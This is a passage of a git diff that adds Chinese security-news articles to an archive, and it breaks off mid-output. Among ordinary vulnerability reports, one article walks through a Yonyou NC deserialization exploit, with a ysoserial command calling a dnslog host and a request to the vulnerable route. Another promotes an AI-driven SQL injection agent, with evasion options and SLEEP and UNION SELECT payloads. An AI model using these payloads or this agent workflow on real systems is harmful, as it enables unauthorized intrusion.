Transit服务的托管服务商客户,攻击规模比前纪录高出12%。这彰显了现代DDoS攻击规模与技术的升级。 + + + + + + + +**多向量DDoS攻击** + + + + +本次大规模攻击采用多向量方式。99.996%的攻击流量是UDP洪流,流量平均针对单个IP上的21,925个目标端口,峰值达每秒34,517个。 + + +**其他攻击向量** + + + + +剩余的0.004%使用了精密的反射放大技术。包括:利用UDP端口17的Quote of the Day (QOTD)协议;利用UDP/TCP端口7的Echo协议攻击;利用monlist命令的网络时间协议(NTP)放大攻击。 + + +其他攻击向量包括:Mirai僵尸网络的UDP洪流;利用UDP端口111的Portmap服务;利用UDP端口520的路由信息协议版本1(RIPv1)攻击。 + + +**攻击来源** + + + + +攻击流量来源的地理分布极为广泛。源自161个国家5,433个自治系统(AS)中的122,145个唯一源IP地址。 + + +巴西和越南是主要攻击来源地,各自贡献约25%的总流量。印度尼西亚、乌克兰、厄瓜多尔、泰国、美国和沙特阿拉伯合计贡献了另外三分之一的恶意流量。 + + +Telefonica Brazil(AS27699)是参与攻击的最大网络。贡献了10.5%的攻击流量。紧随其后的是Viettel Group(AS7552),贡献了9.8%。 + + +**自主检测与缓解技术** + + + + +报告指出,Cloudflare防御系统利用先进数据包采样技术。该技术在Linux内核中使用eXpress数据路径(XDP)和扩展伯克利数据包过滤器(eBPF)程序,这能实时分析流量模式。 + + +公司专有的启发式引擎“dosd”(拒绝服务守护程序)自动生成多重指纹排列,以此识别攻击模式,同时能最大限度减少对合法流量的影响。 + + +攻击通过任播路由被检测并缓解,流量被分散到全球293个地点的477个数据中心,这是利用了Cloudflare的网络基础设施。每个数据中心都能维护本地威胁情报缓存,缓存通过流言协议更新,确保新出现的攻击特征能在亚秒级内传播至整个网络。 + + +这一集成的自主框架实现了7.3 Tbps攻击的零接触缓解。而攻击在其45秒内被完全遏制,没有触发事件响应协议。 + + +整个缓解过程完全自动化,无需人工干预,未发生告警或服务事故。这展示了现代云端DDoS防护系统应对日益复杂网络威胁的有效性。 +### + + + +声明:除发布的文章无法追溯到作者并获得授权外,我们均会注明作者和文章来源。如涉及版权问题请及时联系我们,我们会在第一时间删改,谢谢!文章来源: 来源:安在、FreeBuf、 + +参考来源: + +Notepad++ Vulnerability Let Attacker Gain Complete System Control – PoC Releasedhttps://cybersecuritynews.com/notepad-vulnerability/ + + + + + + + diff --git a/doc/2025-06/Notepad++ 存在严重权限提升漏洞,PoC已发布.md b/doc/2025-06/Notepad++ 存在严重权限提升漏洞,PoC已发布.md new file mode 100644 index 00000000..83b8f258 --- /dev/null +++ b/doc/2025-06/Notepad++ 存在严重权限提升漏洞,PoC已发布.md @@ -0,0 +1,69 @@ +# Notepad++ 存在严重权限提升漏洞,PoC已发布 + 黑白之道 2025-06-25 01:55 + + + +Notepad++ 8.8.1版本中发现一个严重的权限提升漏洞,可能导致全球数百万用户面临系统完全被控制的风险。该漏洞编号为CVE-2025-49144,攻击者可通过二进制植入技术获取SYSTEM级权限,目前已有公开的概念验证演示。 + + + + + +**Part01** +### 漏洞详情 + + +该漏洞影响2025年5月5日发布的Notepad++ v8.8.1安装程序,利用未受控的可执行文件搜索路径实现本地权限提升攻击。安全研究人员发现,安装程序会在当前工作目录中搜索可执行依赖项而未经适当验证,这为恶意代码注入创造了可乘之机。 + + +由于利用该漏洞所需的用户交互极少,安全风险尤为突出。攻击向量利用了Windows标准DLL搜索顺序机制,使攻击者能够在安装过程中自动加载具有提升权限的恶意可执行文件。 + + +**Part02** +### 攻击方法与概念验证 +### + +攻击过程非常简单,充分展示了二进制植入攻击的危险性。攻击者可在Notepad++安装程序所在目录放置恶意可执行文件(如被篡改的regsvr32.exe)。 + + + + + +当用户运行安装程序时,系统会自动以SYSTEM权限加载恶意文件,使攻击者获得目标机器的完全控制权。概念验证材料中的Process Monitor日志清晰展示了安装程序在当前目录搜索可执行文件的漏洞行为。 + + +**Part03** +### 影响范围与风险 + + +Notepad++在全球拥有大量用户,截至2025年6月,其官网月访问量超过160万次。在IDE和文本编辑器类别中,Notepad++约占1.33%的市场份额,意味着全球可能有数十万安装存在漏洞。 + + +考虑到Notepad++在开发者、IT专业人员和各行业普通用户中的普及程度,该漏洞带来的风险尤为严重。企业环境中广泛使用该软件进一步放大了潜在攻击影响,可能导致数据泄露、网络横向移动和系统完全被控制。 + + +**Part04** +### 缓解措施与响应 +### + +Notepad++开发团队迅速做出响应,发布8.8.2版本修复该关键漏洞。补丁遵循微软安全加载指南,实现了安全的库加载实践和对可执行依赖项的绝对路径验证。强烈建议用户立即更新至修复版本以消除安全风险。 + + +安全专家建议采取额外防护措施,包括从安全隔离目录运行安装程序,以及部署能够检测二进制植入攻击的终端安全解决方案。企业还应考虑实施应用程序白名单和加强对安装过程的监控。 + + +该事件凸显了安全软件开发实践的重要性,特别是在可信应用程序的安装程序设计和依赖项加载机制方面。随着网络威胁不断演变,安全社区强调需要对影响广泛使用软件平台的新威胁采取主动漏洞管理和快速响应措施。 + + +> **文章来源:freebuf** + + + +黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! + +如侵权请私聊我们删文 + + +**END** + + diff --git a/doc/2025-06/OA系统漏洞审计之用友NC反序列化 UserQueryServiceServlet.md b/doc/2025-06/OA系统漏洞审计之用友NC反序列化 UserQueryServiceServlet.md new file mode 100644 index 00000000..09baea74 --- /dev/null +++ b/doc/2025-06/OA系统漏洞审计之用友NC反序列化 UserQueryServiceServlet.md @@ -0,0 +1,111 @@ +# OA系统漏洞审计之用友NC反序列化 UserQueryServiceServlet +原创 chobits02 C4安全团队 2025-06-25 06:02 + +## 前言 + +想水个文章,不得不说,这个漏洞算是比较简单的了,师傅们如果学过点代码可以一起分析看个乐呵,感谢师傅们的支持 + + + +要分析漏洞就要进代码,和活要见人死要见尸一个道理 + +用findstr找关键字,可以看到漏洞jar包名称,jar包在uapim +的目录下 + + + +这个方法的完整路径为nc.bs.pub.im.UserQueryServiceServlet + +就像你问你外国女朋友,你全名是啥,有没有中间名之类的,方便找到祖宗十八代 + + + +关键代码如下 +``` +protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { +ObjectInputStream in = new ObjectInputStream((InputStream)request.getInputStream()); +HashMap params = new HashMap<>(); +ObjectOutputStream oos = new ObjectOutputStream((OutputStream)response.getOutputStream()); +HashMap result = new HashMap<>(); +try { + params = (HashMap)in.readObject(); +``` + +此处POST请求时,读取了输入流,之后对输入流方法进行in.readObject() +造成了反序列化漏洞,真的是简单粗暴 + + + +然后接一段废话,就是这个漏洞到底该怎么请求利用,每个漏洞都有自己的游戏规则: + +来到具体的请求URL上面,要调用UserQueryServiceServlet +类,只要在请求路由加上/~包名称 ++UserQueryServiceServlet +类的完整路径即可 + +查看系统的Web.xml +可以看见请求/service +和/servlet +前缀的都经过NCInvokerServlet +方法处理 + + +就是这个不负责任的保安把小区外面的人放进来了 + + + + +NCInvokerServlet +方法主要功能是获得url路径后,如果是以/~ +开头,截取第一部分为moduleName +,然后再截取第二部分为serviceName +,再根据getServiceObject(moduleName, serviceName) +实现任意Servlet的调用。 + +这里包名称是uapim +,再加上方法的完整路径就能进行请求了,懂了吗师傅们 + + +回到漏洞,这里测试使用ysoserial-all.jar +生成cc6 +的利用链请求dnslog,保存到本地的c.bin文件中 +``` +java -jar ysoserial-all.jar CommonsCollections6 "ping xxe.jagvy1.dnslog.cn" > c.bin +``` + +再读取c.bin文件请求即可 + + + +接收到请求记录 + + + +请求利用POC如下 +``` +POST /servlet/~uapim/nc.bs.pub.im.UserQueryServiceServlet HTTP/1.1 +Host: +Accept-Encoding: gzip +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15 + +反序列化POC +``` + + + +最后总结 + +感兴趣的可以公众号私聊我 +进团队交流群, +咨询问题,hvv简历投递,nisp和cisp考证都可以联系我 + +**内部src培训视频,内部知识圈,可私聊领取优惠券** + +**加入团队、加入公开群等都可联系微信:yukikhq,搜索添加即可。** + +**** + + +END + + diff --git a/doc/2025-06/OpenVPN驱动曝严重漏洞,可致Windows系统崩溃.md b/doc/2025-06/OpenVPN驱动曝严重漏洞,可致Windows系统崩溃.md index a1caa0b1..d4147048 100644 --- a/doc/2025-06/OpenVPN驱动曝严重漏洞,可致Windows系统崩溃.md +++ b/doc/2025-06/OpenVPN驱动曝严重漏洞,可致Windows系统崩溃.md @@ -1,9 +1,22 @@ # OpenVPN驱动曝严重漏洞,可致Windows系统崩溃 - 安全客 2025-06-23 06:46 + 安小圈 2025-06-25 00:45 -近日,OpenVPN 社区披露了一个影响 Windows 系统的严重安全漏洞,该漏洞存在于其数据通道卸载(Data Channel Offload,DCO)驱动中,允许本地攻击者通过**构造特定控制消息直接导致目标系统崩溃** +**安小圈** + + +第694期 + + + + + +近日,OpenVPN 社区披露了一个影响 Windows 系统的严重安全漏洞,该漏洞存在于其数据通道卸载(Data Channel Offload,DCO)驱动中,允许本地攻击者通过 + +**构造特定控制消息直接导致目标系统崩溃** ,构成高风险的拒绝服务(DoS)攻击。 + + **01** @@ -60,25 +73,136 @@ ovpn-dco-win 是 OpenVPN 为 Windows 平台引入的**下一代数据通道卸 https://cybersecuritynews.com/openvpn-driver-vulnerability/ -推荐阅读 +END +**** +**** +**【内容** +**来源网络:安全客】** + + + + +- [专题连载【高风险判定指引】| 1)_安全物理环境](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546489&idx=3&sn=2d5e6a1b438fb0a7a277e022f877ead9&scene=21#wechat_redirect) -01|生成式AI驱动攻击的现实已到来02|OpenAI拿下美军2亿美元AI订单03|160亿登录凭证泄露 +- [专题连载【高风险判定指引】| 2)_安全通信网络](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546495&idx=3&sn=50817f80f26765097c5928c5246bea26&scene=21#wechat_redirect) -**安全KER** +- [专题连载【高风险判定指引】| 3)_安全区域边界](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546514&idx=3&sn=fad71692caa8b51f27f7ad2c98b06293&scene=21#wechat_redirect) -安全KER致力于搭建国内安全人才学习、工具、淘金、资讯一体化开放平台,推动数字安全社区文化的普及推广与人才生态的链接融合。目前,安全KER已整合全国数千位白帽资源,联合南京、北京、广州、深圳、长沙、上海、郑州等十余座城市,与ISC、XCon、看雪SDC、Hacking Group等数个中大型品牌达成合作。 +- [专题连载【高风险判定指引】| 4)_安全计算环境](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546530&idx=2&sn=a60e04301af80ee7c12d03951d70c14b&scene=21#wechat_redirect) - - +- [专题连载【高风险判定指引】| 5)_安全管理中心、安全管理制度和机构、安全管理人员](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546540&idx=2&sn=9ee651d07199bff4c965c29ec853f341&scene=21#wechat_redirect) -**注册安全KER社区** -**链接最新“圈子”动态** +- [专题连载【高风险判定指引】| 6)_安全运维管理](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546548&idx=2&sn=b476fd7238959061ac1ec18281908c74&scene=21#wechat_redirect) + + + +- # 公网安〔2025〕2391号《关于印发《网络安全等级保护测评高风险判定实施指引(试行 )》的通知【附下载】 + +- [等保测评 |【2025版】网络安全等级保护测评高风险判定指引(报批稿)](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546234&idx=2&sn=a9b86c571d82e7ef70017f9a84e011be&scene=21#wechat_redirect) + + +- [【实操篇】等保三级 | 安全区域边界-测评指导书](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546234&idx=3&sn=bc5d50602c2b7bd8f5a8f6eaa86e2ed0&scene=21#wechat_redirect) + + +- [HW必备:50个应急响应常用命令速查手册一(实战收藏)](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546304&idx=2&sn=45ef99e528ded7ff2e65e4d70e6d5181&scene=21#wechat_redirect) + + +- [HW必备:50个应急响应常用命令速查手册二(实战收藏)](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247546327&idx=2&sn=cf1ebbd2b511524ec965a3672b6fc3dd&scene=21#wechat_redirect) + + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545577&idx=1&sn=76a4dbd28d9c0e006b7790d89c2b1354&scene=21#wechat_redirect) + +- [2024年网安上市公司营收、毛利、净利润排行](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545577&idx=1&sn=76a4dbd28d9c0e006b7790d89c2b1354&scene=21#wechat_redirect) + + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545311&idx=2&sn=bb8ff7cd42079bae40ab0a2e05ff37c1&scene=21#wechat_redirect) +- [突发!数万台 Windows 蓝屏。。。。广联达。。。惹的祸。。。](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545311&idx=2&sn=bb8ff7cd42079bae40ab0a2e05ff37c1&scene=21#wechat_redirect) + + +# +- # 权威解答 | 国家网信办就:【数据出境】安全管理相关问题进行答复 + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247539649&idx=1&sn=8858b449c89d21240e1f522e92be4fbd&scene=21#wechat_redirect) +- # 全国首位!上海通过数据出境安全评估91个,合同备案443个 + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544405&idx=2&sn=a961d43ca4a9ed667fccbbab758d9196&scene=21#wechat_redirect) +- # 沈传宁:落实《网络数据安全管理条例》,提升全员数据安全意识 + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545156&idx=1&sn=ee5292e9838b2a2112a94a9c7c683925&scene=21#wechat_redirect) + +- [频繁跳槽,只为投毒](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545156&idx=1&sn=ee5292e9838b2a2112a94a9c7c683925&scene=21#wechat_redirect) + + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545017&idx=1&sn=b513c15f91d5de7a8fa33c4b3725706a&scene=21#wechat_redirect) +- [【高危漏洞】Windows 11:300毫秒即可提权至管理员](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247545017&idx=1&sn=b513c15f91d5de7a8fa33c4b3725706a&scene=21#wechat_redirect) + + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544601&idx=1&sn=e230574b0535e6005b830d086cdcf867&scene=21#wechat_redirect) +- [针对网安一哥专门的钓鱼网站](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544601&idx=1&sn=e230574b0535e6005b830d086cdcf867&scene=21#wechat_redirect) + + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544347&idx=1&sn=06311aa3f8aeba492f83224c652fe4a1&scene=21#wechat_redirect) + +- [为什么【驻场】网络安全服务已成为大多数网络安全厂商乙方不愿再触碰的逆鳞?](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544347&idx=1&sn=06311aa3f8aeba492f83224c652fe4a1&scene=21#wechat_redirect) + + + +- [HW流程以及岗位职责](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247544347&idx=3&sn=97e6083dbfbdd896680e24770a10d319&scene=21#wechat_redirect) + + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247543989&idx=1&sn=2821b91efdd626e1a38ec6b2b439186b&scene=21#wechat_redirect) + +- # 网络安全【重保】| 实战指南:企业如何应对国家级护网行动? + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247542929&idx=1&sn=8cf6f15ddca44e343a494eea0fa619b2&scene=21#wechat_redirect) +- **DeepSeek安全:AI网络安全评估与防护策略** + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247542701&idx=1&sn=567674aa12d861c3561d453268badb91&scene=21#wechat_redirect) +- **虚拟机逃逸!VMware【高危漏洞】正被积极利用,国内公网暴露面最大****** + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247542458&idx=1&sn=d81d049331d175a2176f0978d7f032a8&scene=21#wechat_redirect) +- **挖矿病毒【应急响应】处置手册****** + +****- **用Deepseek实现Web渗透自动化** + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247542225&idx=2&sn=244a465fab183f4fa91a284b92a920e6&scene=21#wechat_redirect) +- **【风险】DeepSeek等大模型私有化服务器部署近九成在“裸奔”,已知漏洞赶紧处理!** + +****- **关于各大网安厂商推广「DeepSeek一体机」现象的深度分析** + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247541264&idx=1&sn=887bf392ba73e7c2c833a410e7168818&scene=21#wechat_redirect) +- [Deepseek真的能搞定【安全运营】?](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247541264&idx=1&sn=887bf392ba73e7c2c833a410e7168818&scene=21#wechat_redirect) + + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247540432&idx=1&sn=b9e7e6103e86b9966f29d7eacf8e3d1e&scene=21#wechat_redirect) +- **【热点】哪些网络安全厂商接入了DeepSeek?** + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247540206&idx=2&sn=300737ad84f684e622fdde03da0fc1a7&scene=21#wechat_redirect) +- **【2025】常见的网络安全服务大全(汇总详解)** + +[](https://mp.weixin.qq.com/s?__biz=Mzg2MDg0ODg1NQ==&mid=2247540343&idx=1&sn=59d6f592f71a7f1e3a18fd082aa3de40&scene=21#wechat_redirect) +- **AI 安全 |《人工智能安全标准体系(V1.0)》(征求意见稿),附下载** + + +- **2025年 · 网络威胁趋势【预测】** + + +- **【实操】常见的安全事件及应急响应处** + + +- **2024 网络安全人才实战能力白皮书安全测试评估篇** + + + + + + diff --git a/doc/2025-06/Springboot图形化漏洞利用工具.md b/doc/2025-06/Springboot图形化漏洞利用工具.md new file mode 100644 index 00000000..155ddf3f --- /dev/null +++ b/doc/2025-06/Springboot图形化漏洞利用工具.md @@ -0,0 +1,54 @@ +# Springboot图形化漏洞利用工具 + 天黑说嘿话 2025-06-25 01:07 + +前言 + +日常日站的时候偶然之间发现了一款误报比较少的springboot漏洞利用工具浅浅分享一下。 + +工具说明 +``` + +工具目前支持如下漏洞的检测 : + + SpringBoot Actuator Env 敏感信息泄露 + SpringSecurity Oauth RCE (CVE-2016-4977) + SpringData Commons RCE (CVE-2018-1273) ( 工具支持利用模块 : 命令执行 ) + SpringBoot Actuator Logview 任意文件读取 (CVE-2021-21234) ( 工具支持利用模块 : 任意文件读取 ) + SpringCloud Function SpEL RCE (CVE-2022-22963) ( 工具支持利用模块 : 命令执行 ) + SpringFramework RCE (CVE-2022-22965) ( 工具支持利用模块 : 命令执行 ) + SpringCloud Gateway RCE (CVE-2022-22947) ( 工具支持利用模块 : 命令执行 内存马注入 ) +``` + + + + + + + + + +heapdump解密 + + + +实战效果 + + + + + +结尾 +``` +免责声明 +1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。 +2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。 +3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时产生的后果,作者及发布平台不承担责任。 +``` + +工具获取 + +后台私信发送 +springboot +!! + + diff --git a/doc/2025-06/WinRAR 目录漏洞允许使用恶意文件执行任意代码.md b/doc/2025-06/WinRAR 目录漏洞允许使用恶意文件执行任意代码.md new file mode 100644 index 00000000..6d801f1e --- /dev/null +++ b/doc/2025-06/WinRAR 目录漏洞允许使用恶意文件执行任意代码.md @@ -0,0 +1,172 @@ +# WinRAR 目录漏洞允许使用恶意文件执行任意代码 +会杀毒的单反狗 军哥网络安全读报 2025-06-25 01:00 + +**导****读** + + + +WinRAR 软件中发现一个严重级别安全漏洞,远程攻击者可以利用该漏洞通过恶意存档文件执行任意代码。 + + +该漏洞编号为 CVE-2025-6218,CVSS 评分 7.8,漏洞影响广泛使用的文件压缩实用程序对存档文件中目录路径的处理。 + + + + +这个远程代码执行 (RCE) 漏洞允许攻击者在当前用户的上下文中执行恶意代码,但成功利用该漏洞需要用户交互。 + + +漏洞利用机制的核心在于存档文件中精心设计的文件路径,这可能导致 WinRAR 进程遍历到非预期的目录。 + + +此路径遍历攻击绕过了正常的安全边界,使攻击者能够将文件写入预期提取目录之外的位置。 此类漏洞尤其危险,因为与其他攻击技术结合时,它们可能导致整个系统被攻陷。 + + +技术分析表明,该漏洞存在于 WinRAR 处理存档文件时的文件路径处理例程中。 + + +发现并报告该漏洞的安全研究员 whs3-detonator 发现,包含恶意目录路径的特制存档文件可以操纵提取过程。 + + +攻击媒介要求目标用户访问恶意网页或打开恶意存档文件,这使其容易受到社会工程攻击。该技术利用了档案文件结构中嵌入的目录遍历序列。 这些序列可以包含相对路径指示符,例如“../”模式,允许攻击者导航到预期的提取目录之外。 + + +一旦成功,该漏洞就可以以运行 WinRAR 的用户权限执行任意代码。 + + +建议用户更新到 WinRAR 7.11 以修复漏洞。由于严重性等级高且可能针对其系统进行远程代码执行攻击,组织应优先考虑此更新。 + + +新闻链接: + +https://cybersecuritynews.com/winrar-vulnerability/ + + + +**今日安全资讯速递** + + + +**APT事件** + + +Advanced Persistent Threat + +APT组织利用ShortLeash 后门感染 SOHO 路由器,构建间谍网络基础设施 + +https://www.securityweek.com/chinese-apt-hacking-routers-to-build-espionage-infrastructure/ + + +朝鲜黑客利用 Zoom 会议系统入侵受害者系统 + +https://www.securityweek.com/north-korean-hackers-take-over-victims-systems-using-zoom-meeting/ + + +APT28 黑客利用 Signal 聊天对乌克兰发起新的恶意软件攻击 + +https://www.bleepingcomputer.com/news/security/apt28-hackers-use-signal-chats-to-launch-new-malware-attacks-on-ukraine/ + + +以色列官员称伊朗利用安全摄像头引导导弹袭击 + +https://therecord.media/iran-espionage-israeli-security-cameras-missile-attacks + + +与伊朗有关的网络攻击扰乱了阿尔巴尼亚首都的公共服务 + +https://therecord.media/tirana-albania-government-cyberattack-iran-linked-group + + + +**一般威胁事件** + + +General Threat Incidents + +黑客攻击超过 70 台 Exchange 服务器,通过键盘记录器窃取凭证 + +https://thehackernews.com/2025/06/hackers-target-65-microsoft-exchange.html + + +Androxgh0st 僵尸网络扩大影响范围,攻击美国大学服务器 + +https://hackread.com/androxgh0st-botnet-expand-exploit-us-university-servers/ + + +警惕窃取用户凭证的假冒 SonicWall VPN 应用 + +https://www.theregister.com/2025/06/24/unknown_crims_using_hacked_sonicwall/ + + +卡巴斯基发现TikTok克隆版传播恶意软件,攻击针对加密货币钱包 + +https://dataconomy.com/2025/06/24/kaspersky-finds-tiktok-clones-spreading-malware/ + + +技术支持诈骗使用赞助广告和搜索参数注入来诱骗用户给他们打电话 + +https://www.securityweek.com/apple-netflix-microsoft-sites-hacked-for-tech-support-scams/ + + +Prometei挖矿僵尸网络活动激增 + +https://www.securityweek.com/prometei-botnet-activity-spikes/ + + +密歇根州医院网络遭勒索软件攻击 + +https://therecord.media/mclaren-health-care-data-breach-notification-ransomware + + +美国众议院因安全问题禁止在政府设备上使用 WhatsApp + +https://securityaffairs.com/179297/mobile-2/us-house-banned-whatsapp-on-government-devices.html + + +新的 FileFix 攻击利用 Windows 文件资源管理器执行恶意命令 + +https://cybersecuritynews.com/filefix-attack/ + + +复杂的恶意软件活动利用混淆的 Skimmer 攻击 WordPress 和 WooCommerce 网站 + +https://cybersecuritynews.com/malware-campaign-targets-wordpress-and-woocommerce-sites/ + + +**漏洞事件** + + +Vulnerability Incidents + +Aviatrix 云控制器漏洞可通过身份验证绕过实现远程代码执行 + +https://gbhackers.com/aviatrix-cloud-controller-flaw/ + + +Zimbra Classic Web 客户端漏洞允许任意 JavaScript 执行 + +https://gbhackers.com/zimbra-classic-web-client-vulnerability/ + + +Teleport 中的关键身份验证绕过漏洞已修复 + +https://www.securityweek.com/critical-authentication-bypass-flaw-patched-in-teleport/ + + +Notepad++漏洞使攻击者获得完全系统控制权 + +https://cybersecuritynews.com/notepad-vulnerability/ + + +WinRAR 目录漏洞允许使用恶意文件执行任意代码 + +https://cybersecuritynews.com/winrar-vulnerability/ + + + +扫码关注 + +军哥网络安全读报 + +**讲述普通人能听懂的安全故事** + diff --git a/doc/2025-06/【前沿研究】降维打击!DeepSeek AI 智能体碾压传统工具,MCP漏洞扫描效率狂飙1000%!.md b/doc/2025-06/【前沿研究】降维打击!DeepSeek AI 智能体碾压传统工具,MCP漏洞扫描效率狂飙1000%!.md new file mode 100644 index 00000000..bbeabb88 --- /dev/null +++ b/doc/2025-06/【前沿研究】降维打击!DeepSeek AI 智能体碾压传统工具,MCP漏洞扫描效率狂飙1000%!.md @@ -0,0 +1,356 @@ +# 【前沿研究】降维打击!DeepSeek AI 智能体"碾压"传统工具,MCP漏洞扫描效率狂飙1000%! +原创 RCS-TEAM安全团队 小白嘿课 2025-06-25 00:46 + +**0****1** + +**引言** + + + + + +### 来自RCS-TEAM安全团队的警告与承诺 +> "当传统扫描器还在漏洞迷宫中举着火把摸索时,DeepSeek智能体已点亮了核聚变探照灯——但这束光,只应照耀在授权的战场上。" + +**—— RCS-TEAM 高级威胁研究组** + +### + +**0****2** + +**颠覆性架构:DeepSeek调用SQL注入MCP服务器实现智能扫描** + + + + + + +**革命性设计理念:** +> 传统扫描器:工具直接扫描目标 → 高误报、低效率 +**DeepSeek智能体:DeepSeek → MCP服务器 → 智能扫描引擎 → 目标系统** + + +**核心突破:** +1. **MCP服务器作为智能代理** +:分布式扫描节点,绕过防火墙限制 + +1. **大模型驱动的扫描引擎** +:动态生成上下文感知的检测逻辑 + +1. **精准验证闭环** +:POC执行+结果智能分析双重验证 + +#### SQL注入智能体工作流: + + +#### 代码实现:基于MCP服务器的SQL注入智能体(隐藏部分核心代码) + +from mcp_agent import SQLInjectionScanner + +import json + + +class DeepSeekSQLiAgent: + + def __init__(self, target_url): + + self.target = target_url + + # 连接DeepSeek-R1获取扫描策略 + + self.strategy = deepseek_api.get_strategy( + + "SQL Injection", + + target_type="webapp" + + ) + + # 初始化MCP扫描服务器代理 + + self.mcp_agent = SQLInjectionScanner( + + agent_id="DS-SQLi-001", + + strategy=self.strategy + + ) + + + def intelligent_scan(self): + + # 步骤1:大模型生成智能检测方案 + + scan_plan = deepseek_api.generate_scan_plan( + + target=self.target, + + scan_type="advanced_sqli" + + ) + + + # 步骤2:通过MCP服务器执行分布式扫描 + + scan_results = self.mcp_agent.execute_scan( + + target=self.target, + + plan=scan_plan, + + stealth_mode=True # 启用隐蔽扫描模式 + + ) + + + # 步骤3:大模型深度分析原始数据 + + vulnerability_report = deepseek_api.analyze_results( + + raw_data=scan_results, + + threat_model="sql_injection_v3" + + ) + + + return vulnerability_report + + + def generate_poc(self, vuln_details): + + # 动态生成验证性POC + + return deepseek_api.generate_poc( + + vuln_type=vuln_details['type'], + + target_params=vuln_details['parameters'], + + db_type=vuln_details['db_type'] + + ) + + +# 实战案例:扫描电商平台 + +if __name__ == "__main__": + + agent = DeepSeekSQLiAgent("https://mall.xxxx.com") + + + print("[+] 启动智能SQL注入扫描...") + + report = agent.intelligent_scan() + + + if report['vulnerabilities']: + + print(f"[!] 发现 {len(report['vulnerabilities'])} 个SQL注入漏洞") + + for i, vuln in enumerate(report['vulnerabilities'], 1): + + print(f"\n漏洞 #{i}:") + + print(f"位置: {vuln['endpoint']}") + + print(f"参数: {vuln['parameter']}") + + print(f"风险等级: {vuln['risk_level']}") + + print(f"置信度: {vuln['confidence']*100}%") + + + # 生成验证POC + + poc = agent.generate_poc(vuln) + + print(f"验证POC: {poc}") + + else: + + print("[+] 目标系统未发现SQL注入漏洞") + + + print(f"\n扫描统计:") + + print(f"耗时: {report['scan_time']}秒") + + print(f"请求数: {report['requests_sent']}") + + print(f"误报过滤率: {report['false_positive_filter_rate']*100}%") + + +**攻击链解析:** +1. **智能策略生成** +DeepSeek-R1分析目标网站结构,生成定制化扫描策略: + +{ + + "scan_type": "time_based_blind", + + "test_points": ["login.php", "search.php", "product/:id"], + + "db_detection": ["MySQL", "PostgreSQL"], + + "evasion_techniques": ["comment_obfuscation", "case_switching"] + +} + +1. **MCP服务器执行扫描** +分布式节点发起精准测试: + +POST /search.php HTTP/1.1 + +Host: mall.xxxx.com + +Content-Type: application/x-www-form-urlencoded + +X-MCP-Agent: DS-SQLi-001 + + +keyword=electronics' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- &deepseek=1 + +1. **多维度漏洞验证** + +1. 时间延迟分析(>5秒响应) + +1. 错误消息模式识别 + +1. 布尔逻辑验证 + +1. 数据差异对比 + +1. **智能POC生成** +根据漏洞特征动态生成验证脚本: + +' UNION SELECT + + NULL, + + CONCAT('DB_NAME:', database()), + + NULL, + + NULL + +-- + +**真实案例输出:** + +[!] 发现 3 个SQL注入漏洞 + + +漏洞 #1: + +位置: 